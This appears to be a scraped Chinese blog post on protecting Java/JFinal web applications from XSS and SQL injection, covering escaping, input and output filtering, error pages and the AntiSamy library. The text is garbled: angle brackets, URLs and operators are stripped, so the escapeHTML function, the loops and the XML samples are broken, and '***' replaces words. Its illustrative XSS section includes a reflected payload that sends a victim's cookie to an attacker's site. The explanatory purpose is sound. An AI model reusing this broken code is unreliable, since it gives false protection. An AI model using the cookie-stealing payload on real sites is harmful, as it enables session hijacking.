jfinalxss攻击(jfinal漏洞)
大家畅所欲言,当jFinal遇到XSS和SQL注入怎么处理
数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原
在显示的时候对非法字符进行转义
如果项目还处在起步阶段,建议使用第二种,直接使用jstl的c:out标签即可解决非法字符的问题。当然,对于Javascript还需要自己处理一下,写一个 *** ,在解析从服务器端获取的数据时执行以下escapeHTML()即可。
附:Javascript *** :
String.prototype.escapeHTML = function () {
return this.replace(//g, ‘’).replace(//g, ‘’).replace(//g, ‘’).replace(/”/g, ‘"’);
}
如果项目已经开发完成了,又不想大批量改动页面的话,可以采用之一种 *** ,此时需要借助Spring MVC的@InitBinder以及org.apache.commons.lang.PropertyEditorSupport、org.apache.commons.lang.StringEscapeUtils
public class StringEscapeEditor extends PropertyEditorSupport {
private boolean escapeHTML;
private boolean escapeJavaScript;
private boolean escapeSQL;
public StringEscapeEditor() { super(); }
public StringEscapeEditor(boolean escapeHTML, boolean escapeJavaScript, boolean escapeSQL) {
super();
this.escapeHTML = escapeHTML;
this.escapeJavaScript = escapeJavaScript;
this.escapeSQL = escapeSQL;
}
@Override
public void setAsText(String text) {
if (text == null) {
setValue(null);
如何防止跨站点脚本攻击
防止跨站点脚本攻击的解决 *** :
1.输入过滤
对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[{}\\[\\];\\]";
String inputStr = s.replaceAll(filterPattern," ");
2.输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 0xf) 4) +
(b2 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
!-- Maps the 404 Not Found response code
to the error page /errPage404 --
error-page
error-code404/error-code
location/errPage404/location
/error-page
!-- Maps any thrown ServletExceptions
to the error page /errPageServ --
error-page
exception-typejavax.servlet.ServletException/exception-type
location/errPageServ/location
/error-page
!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric --
error-page
exception-typejava.lang.Throwable/exception-type
location/errPageGeneric/location
/error-page
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安装三方的应用防火墙,可以拦截css攻击。
附:
跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
会产生如下的结果
HTML
TitleWelcome!/Title
Hi Joe Hacker
BR
Welcome to our system
...
/HTML
但是如果请求被篡改
GET /welcome.cgi?name=scriptalert(document.cookie)/script HTTP/1.0
Host:
就会得到如下的响应
HTML
TitleWelcome!/Title
Hi scriptalert(document.cookie)/script
BR
Welcome to our system
...
/HTML
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
;scriptwindow.open(“”%2Bdocument.cookie)/script
响应如下:
HTML
TitleWelcome!/Title
Hi
scriptwindow.open(“”+document.cookie)/script
BR
Welcome to our system
...
/HTML
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
怎样过滤跨站恶意脚本攻击
1. 在输入流中截住form data中的恶意脚本
研究两种XSS攻击,如反射型和存储型XSS攻击,其恶意脚本都是来自用户的输入。因此,可以使用过滤用户输入的 *** 对恶意脚本进行过滤。对简单的HTTP请求,一般使用GET和POST *** 。
2. 在输入流中检测滤掉来自其他网站的URL中的恶意脚本
当用户不小心点击了被其他黑客提供的假冒URL,则可能在该URL中注入恶意脚本。因此,也需要对这种情况进行处理。因此为确保其他在header中的恶意脚本,需要对request.getHeader进行重写。以下为例子:
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return xssClean(value);
}
3. xssClean函数怎样实现才可以过滤掉恶意脚本呢?
如果是java语言,推荐使用antisamy。使用antisamy进行XSS清理非常简单,只需要简单的几个步骤即可达到目的。
1‘. 在pom.xml文件中加入antisamy的dependency,
dependency
groupIdorg.owasp.antisamy/groupId
artifactIdantisamy/artifactId
version1.5.3/version
/dependency
2’. 加入了dependency之后,就可以在xssClean中加入antisamy对恶意脚本进行清理。其中policy.xml是白名单,policy.xml中规定了各个html元素所必须满足的条件。antisamy的精髓之处在于,使用policy文件来规定你的过滤条件,若输入字符串不满足policy文件中的条件,则会过滤掉字符中的恶意脚本,返回过滤后的结果。具体代码如下:
private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}
这样,我们就将client端用户输入的request,在server端进行了拦截,并且进行了过滤。
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。